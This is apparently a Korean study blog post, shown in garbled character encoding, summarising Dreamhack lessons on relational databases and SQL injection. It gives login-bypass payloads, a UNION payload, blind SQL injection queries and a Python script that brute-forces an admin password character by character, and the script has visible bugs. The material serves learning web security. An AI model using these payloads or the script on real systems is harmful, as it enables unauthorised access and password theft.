1. Background: Relational DBMS
1. ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ DBMS - By L.M.S
1. ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์์ฑ ๋๋ณด๊ธฐ ๐กKEYWORD - ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์์ฑ - ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ์์ ํน์ฑ - ๋ฐ์ดํฐ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค - DBMS, ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ด๋ฆฌ ์์คํ ๋ฐ์ดํฐ๋? DATA : ํ์ค ์ธ๊ณ์ ์๋ ๋ชจ๋
dystopia050119.tistory.com
๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋?
๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์์ ์ด๋ฅผ ๋น์ฆ๋์ค์ ์ด์ฉํ๋ ๋ฐฉ๋ฒ์ ์์๋ด ๋๋ค.
www.oracle.com
[database] ๊ด๊ณํ DB์ ๋น๊ด๊ณํ DB์ ์ฐจ์ด์
์๋ ํ์ธ์~ ์ค๋์ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋น๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํด ์์๋ณด๊ฒ ์ต๋๋ค. ๊ด๊ณํ DB ์ผ๋ฐ์ ์ผ๋ก ์ฐ๋ฆฌ๊ฐ ๋ฐฐ์์๋ Mysql, Oracle, Mssql ๊ฐ์ ๊ณ ์ ์ ์ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ด๊ณํ ๋ฐ
newehblog.tistory.com
์ฌ๊ธฐ์๋ถํฐ ์ ๋ฆฌ๋ ๋ด์ฉ์ ๋ณด์๋ฉด ์ต๊ฐํด์ ๋ฐ๋ก ์ดํดํ๊ณ ์์ฉํ ์ ์์๊ฑฐ์์
์ฒ์ฒํ ์์๋๋ก ๋ค์ด๋ณด์ธ์.. ์์ง ๊ท์ฐฎ์์ ์ ๋ฆฌ๋ฅผ ๋ค ์ ํ์ง๋ง ๋ค ํด๋ด์ผ์ฃ ..
๊ทธ๋ฆฌ๊ณ ์์ 2๊ฐ์ ๋งํฌ๋ ์ฐธ๊ณ ์๋ฃ๋ก์จ ์๋ 2๊ฐ๋ฅผ ๋ณด์๋ฉด ์ด๋์ ๋ ์๋ฏ ํ๋ค์
ํค์๋
- ๋ฐ์ดํฐ๋ฒ ์ด์ค: ๋ฐ์ดํฐ๊ฐ ์ ์ฅ๋๋ ๊ณต๊ฐ
- DBMS: ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ด๋ฆฌํ๋ ์ดํ๋ฆฌ์ผ์ด์
- RDBMS: ํ ์ด๋ธ ํํ๋ก ์ ์ฅ๋๋ ๊ด๊ณํ DBMS
- SQL: RDBMS์ ์ํธ์์ฉํ ๋ ์ฌ์ฉ๋๋ ์ธ์ด
2. ServerSide: SQL Injection
์์ ๋ณด์๋ฉด DBMS์ DB์ ๊ตฌ๋์๋ฆฌ๋ฅผ ์ดํดํ์๊ฑฐ๋ผ๊ณ ๋ฏฟ์ด์..
๊ทธ๋ผ ๋ณธ๊ฒฉ์ ์ผ๋ก SQL Injection์ ๋ํ์ฌ ์์๋ณผ๊น์?
์๋ ์์ ๋ฅผ ๋ณด๋ฉด์ SQL๋ฌธ์ ํ์ฉํ์ฌ ์์ ๋ฌธ์์ด(๋ช
๋ น์ด)๋ฅผ ์ฝ์
ํ๋ ํ์๊ฐ SQL Injection!
์์ ๊ฐ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ฉด ์กฐ์๋ ์ฟผ๋ฆฌ๋ก ์ธ์ฆ์ ์ฐํํ๊ฑฐ๋, DB์ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
/*
์๋ ์ฟผ๋ฆฌ ์ง์๋ ๋ค์๊ณผ ๊ฐ์ ์๋ฏธ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค.
- SELECT: ์กฐํ ๋ช
๋ น์ด
- *: ํ
์ด๋ธ์ ๋ชจ๋ ์ปฌ๋ผ ์กฐํ
- FROM accounts: accounts ํ
์ด๋ธ ์์ ๋ฐ์ดํฐ๋ฅผ ์กฐํํ ๊ฒ์ด๋ผ๊ณ ์ง์
- WHERE user_id='dreamhack' and user_pw='password': user_id ์ปฌ๋ผ์ด dreamhack์ด๊ณ , user_pw ์ปฌ๋ผ์ด password์ธ ๋ฐ์ดํฐ๋ก ๋ฒ์ ์ง์
์ฆ, ์ด๋ฅผ ํด์ํ๋ฉด DBMS์ ์ ์ฅ๋ accounts ํ
์ด๋ธ์์ ์ด์ฉ์์ ์์ด๋๊ฐ dreamhack์ด๊ณ , ๋น๋ฐ๋ฒํธ๊ฐ password์ธ ๋ฐ์ดํฐ๋ฅผ ์กฐํ
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
๊ทธ๋ฆฌ๊ณ ๋ฐ๋ก ์๋๋ SQL Injection์ผ๋ก ์กฐ์๋ ์ฟผ๋ฆฌ๋ฌธ์ ์์์
๋๋ค.
์ ์ดํด๋ณด๋ฉด, user_pw ์กฐ๊ฑด๋ฌธ์ด ์ฌ๋ผ์ง ๊ฒ์ ํ์ธ ํ ์ ์์ต๋๋ค.
์กฐ์๋ ์ฟผ๋ฆฌ๋ฅผ ํตํด ์ง์ํ๋ฉด DBMS๋ ID๊ฐ admin์ ๊ณ์ ์ ๋น๋ฒ ๋น๊ต X
ํด๋น ๊ณ์ ์ ์ ๋ณด๋ฅผ ๋ฐํํ๊ธฐ์ ์ด์ฉ์๋ admin๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ ์ ์๊ฒ ์ฃ
Simple SQL Injection
์ ํฌ๋ ๊ทธ๋ผ ์ธ์ฆ ์ฐํ์ ์ฌ์ฉํ ์ ์๋ ๊ฒ์ ๋ฐฐ์์ผ๋๊น ์ค์ตํด๋ด
์๋ค.
Dreamhack.. ID์ PW๋ฅผ ์
๋ ฅ๋ฐ๊ณ ์กฐํ ์ฟผ๋ฆฌ๋ฅผ ์์ฑ ๋ฐ ์คํํฉ๋๋ค.
์ค์ต ๋ชจ๋์์ ์ฌ์ฉํ๋ user_table์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌํ๋์ด ์์ต๋๋ค.
uid | upw |
guest | guest |
admin | ??? |
์ค์ต ๋ชจ๋์ ๋ชฉํ๋ ์ฟผ๋ฆฌ ์ง์๋ฅผ ํตํด admin ๊ฒฐ๊ณผ๋ฅผ ๋ฐํํ๋ ๊ฒ์
๋๋ค.
์ค์ต ๋ชจ๋์์ ์ฌ์ฉํ๋ ์ฟผ๋ฆฌ๋ฌธ์ ๊ฒฝ์ฐ, ์ด์ฉ์์ ์
๋ ฅ๊ฐ์ ๋ฌธ์์ด๋ก ๋ํ๋ด๊ธฐ ์ํด ' ๋ฌธ์ ์ฌ์ฉ!
์ฌ๊ธฐ์ ์ด์ฉ์์ ์
๋ ฅ๊ฐ์ด SQL ๊ตฌ๋ฌธ์ผ๋ก ํด์๋๊ธฐ ์ํด ' ๋ฌธ์๋ฅผ ์
๋ ฅํ๋ ๋ฐฉ๋ฒ๋ ์กด์ฌํจ
uid์ admin' or '1์ ์ ๋ ฅํ๊ณ , ๋น๋ฒ์ ์ ๋ ฅ X ์์ฑ๋๋ ์ฟผ๋ฆฌ๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
์ฟผ๋ฆฌ๋ฌธ์ ์ดํด๋ณด๋ฉด ๋ ๊ฐ์ ์กฐ๊ฑด์ผ๋ก ๋๋ ๋ณผ ์ ์์ต๋๋ค.
์ฒซ๋ฒ์งธ๋ก uid='admin' or '1'์ ๊ฒฝ์ฐ๋ ์์๋ ๋ฐ์ดํฐ๊ฐ ๋ค์๋ True๋ฅผ ๋ฐํ
์ฆ, ๋ค์ ์๋ and upw='';๋ฅผ ํ์ธํ ํ์์์ด ์ฐธ์ ๋ฐํํ๋ต๋๋ค.
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
๋ค์ ๋งํ๋ฉด uid๊ฐ "admin"์ธ ๋ฐ์ดํฐ๋ฅผ ๋ฐํํ๊ธฐ์ ๊ด๋ฆฌ์๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ ์
์ด ์ธ์๋, ์ฃผ์(--, #, /**/)์ฌ์ฉํ๋ ๋ฑ ๋ค์ํ ๋ฐฉ๋ฒ์ด ์กด์ฌํ๋ต๋๋ค.
์ง์ง ๊ฐ์ถ!
SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
portswigger.net
W3school - ์ ์ฒด์ ์ธ ์น ๊ณต๋ถ์ ์ข์(Dreamhack ์ถ์ฒ)
SQL UNION Operator
W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.
www.w3schools.com
์์ ์ฌ์ดํธ๋ ์ ๋ง ์ข์ ์ฐธ๊ณ ์๋ฃ ๊ฐ์ถํฉ๋๋ค.(์ฐธ๊ณ ๋ก ์ด๊ฑด SQL Injection ์ฐํ ์ฝ๋)
๋ ๋ง์ด ์กด์ฌํ๊ธฐ์ ์ฌ๋ฌ๊ฐ์ง ์๋จ์ด ์๊ฒ ์ฃ ?
์ ๊ฐ ํ ๋ฐฉ์ : admin' UNION SELECT upw from user_table where uid='admin' or '1
๊ฒฐ๊ณผ๋ ์๋์..
Blind SQL Injection
์์ ๊ณต๊ฒฉ์ ์ธ์ฆ ์ฐํ ์ด์ธ์๋ DB์ data๋ฅผ ์ ์ ์์์ต๋๋ค.
์ผ์ข
์ ํด๋น ์ ๋ณด๋ง ์ง๊ด์ ์ผ๋ก ์๋ ค์ฃผ๊ธฐ์ ์ฌ์ฉ๋๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ธ Blind SQL Injection!
์ค๋ฌด๊ณ ๊ฐ์ ์ ์ฌํ ๋ฐฉ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์์๋ผ ์ ์์ด์
์ง์ ๊ฒฐ๊ณผ๋ฅผ ์ด์ฉ์๊ฐ ํ๋ฉด์์ ์ง์ ํ์ธ์ด ๋ถ๊ฐํ ๋ ์ฐธ/๊ฑฐ์ง ๋ฐํ ๊ฒฐ๊ณผ๋ก
๋ฐ์ดํฐ๋ฅผ ํ๋ํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ Blind SQL Injection ๊ธฐ๋ฒ์ด๋ผ๊ณ ํฉ๋๋ค!
Blind SQL Injection ๊ณต๊ฒฉ ์ฟผ๋ฆฌ
# ์ฒซ ๋ฒ์งธ ๊ธ์ ๊ตฌํ๊ธฐ (์์คํค 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# ๋ ๋ฒ์งธ ๊ธ์ ๊ตฌํ๊ธฐ (์์คํค 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
์ ์ฝ๋๋ Blind SQL Injection ๊ณต๊ฒฉ ์์ ์ฌ์ฉํ ์ ์๋ ์ฟผ๋ฆฌ์
๋๋ค.
์ฟผ๋ฆฌ๋ฅผ ์ดํด๋ณด๋ฉด ์ธ๊ฐ์ ์กฐ๊ฑด์ ์ดํด๋ณด๊ธฐ ์ ์ ascii์ substr ํ์ธํฉ์๋ค
ascii
์ ๋ฌ๋ ๋ฌธ์๋ฅผ ์์คํค ํํ๋ก ๋ฐํํ๋ ํจ์๋ก์จ,
์๋ก ascii('a')๋ฅผ ์คํํ๋ฉด 'a' ๋ฌธ์์ ์์คํค ๊ฐ์ธ 97์ด ๋ฐํ๋จ
substr
ํด๋น ํจ์์ ์ ๋ฌ๋๋ ์ธ์์ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ํด๋น ํจ์๋ ๋ฌธ์์ด์์ ์ง์ ํ ์์น๋ถํฐ ๊ธธ์ด๊น์ง์ ๊ฐ์ ๊ฐ์ ธ์ด
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
์ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ์ ์ค๋ช ์ ๊ตณ์ด ํ์ ์์ ๊ฑฐ ๊ฐ์ผ๋๊น ์๋ตํ ๊ป์
Blind SQL Injection attack script
์ด ๊ณต๊ฒฉ์ ํ ๋ฐ์ดํธ์ฉ ๋น๊ต ๊ณต๊ฒฉํ๋ ๋ฐฉ์์ผ๋ก ๋ค๋ฅธ ๊ณต๊ฒฉ์ ๋นํด ๋ง์ ์๊ฐ์ด ์๊ตฌ๋จ
์ด๋ฐ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์ ์๋ํํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํด์ผ๊ฒ ์ฃ
๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ๊ธฐ์ ์์ ์ ์ฉํ lib๋ฅผ ์์๋ด
์๋ค.
ํ์ด์ฌ์ HTTP ํต์ ์ ์ํ ๋ค์ํ ๋ชจ๋์ด ์กด์ฌํ๋๋ฐ ๋ํ์ ์ผ๋ก requests ๋ชจ๋์ด ์์ฃ
ํด๋น ๋ชจ๋์ ๋ค์ํ ๋ฉ์๋๋ฅผ ์ด์ฉ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต ๋ํ ํ์ธ์ด ๊ฐ๋ฅํด์
requests ๋ชจ๋ GET ์์ ์ฝ๋
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests.get์ GET ๋ฉ์๋๋ฅผ ์ฌ์ฉํด HTTP ์์ฒญ์ ๋ณด๋ด๋ ํจ์๋ก,
URL๊ณผ Header, Parameter์ ํจ๊ป ์์ฒญ์ ์ ์กํ ์ ์์ต๋๋ค.
requests ๋ชจ๋ POST ์์ ์ฝ๋
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
HTTP์ POST ๋ฉ์๋ ํต์ ์ ํ๋ ์์ ์ฝ๋์
๋๋ค.
requests.post๋ POST ๋ฉ์๋๋ฅผ ์ฌ์ฉํด HTTP ์์ฒญ์ ๋ณด๋ด๋ ํจ์๋ก,
URL๊ณผ Header Body์ ํจ๊ป ์์ฒญ์ ์ ์กํ ์ ์์ต๋๋ค.
Python Requests Module
W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.
www.w3schools.com
๋ ์์ธํ ๋ด์ฉ์ ์์ ๋งํฌ์์ requests ํจ์์ ๋ชจ๋ ๋ฌธ์์์ ํ์ธํด์ฃผ์ธ์
Blind SQL Injection attack script write
์์์ ๋ค๋ฃฌ ์์ ๋ก ๊ณต๊ฒฉ์ ์๋ํ๋ค๊ณ ๊ฐ์ ํ๋ฉด..
๋จผ์ ์์คํค ๋ฒ์ ์ค ์ด์ฉ์๊ฐ ์
๋ ฅํ ์ ์๋ ๋ชจ๋ ๋ฌธ์์ ๋ฒ์๋ฅผ ์ง์ ํด์ผํด์
์๋ก ๋น๋ฒ์ ๊ฒฝ์ฐ ์ํ๋ฒณ๊ณผ ์ซ์ ๊ทธ๋ฆฌ๊ณ ํน์๋ฌธ์๋ก ๋ฒ์๋ฅผ ๋ํ๋ด๋ฉด(32-126)๊น์ง ์๊ฐํด์ผํ์ฃ
์์์ ๊ณ ๋ คํ ๋ถ๋ถ์ ์์ฑํ๊ฒ ์๋์ ๊ฐ์ต๋๋ค. ์ดํด๋ณด๋ฉด..
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
query = ''' admin' and ascii(substr(upw,{idx},1))={val}-- '''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
string — ์ผ๋ฐ์ ์ธ ๋ฌธ์์ด ์ฐ์ฐ — Python 3.10.8 ๋ฌธ์
string — ์ผ๋ฐ์ ์ธ ๋ฌธ์์ด ์ฐ์ฐ ์์ค ์ฝ๋: Lib/string.py ๋ฌธ์์ด ์์ ์ด ๋ชจ๋์ ์ ์๋ ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: string.ascii_letters ์๋์ ๋์ค๋ ascii_lowercase์ ascii_uppercase ์์๋ฅผ ์ด์ด๋ถ์ธ ๊ฒ์ ๋๋ค
docs.python.org
์ฝ๋ ๋ถ์ ๋ถ๋ถ์ ์.. ํ ๊น์? ์์์ ๋ง์ด ํ๊ณ ํด๋น ๋งํฌ๋ค ๋ณด์๋ฉด ๊ธ๋ฐฉ ์์ค ์ ์์ด์..
๋์ด๊ฐ๊ป์ ๊ทธ๋ผ ์ฌ๊ธฐ์ ๋
์ฐธ๊ณ ์๋ฃ
Background: Relational DBMS
์ด ์ฝ์ค์์๋ ๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ด๋ฆฌ ์์คํ ๊ณผ SQL์ ๋ํด ์์๋ด ๋๋ค.
dreamhack.io
ServerSide: SQL Injection
์ด ์ฝ์ค์์๋ ์๋ฒ ์ฌ์ด๋ ๊ณต๊ฒฉ์ธ SQL Injection์ ๋ํด ์ค๋ช ํฉ๋๋ค.
dreamhack.io
SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
portswigger.net
์ฐธ๊ณ ์ด๋ฏธ์ง
ServerSide: SQL Injection
์ด ์ฝ์ค์์๋ ์๋ฒ ์ฌ์ด๋ ๊ณต๊ฒฉ์ธ SQL Injection์ ๋ํด ์ค๋ช ํฉ๋๋ค.
dreamhack.io
'๐โWeb_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
ClientSide: CSRF (0) | 2022.06.23 |
---|---|
ClientSide: XSS (0) | 2022.06.21 |
Mitigation: Same Origin Policy (0) | 2022.06.20 |
http vs https (0) | 2022.05.25 |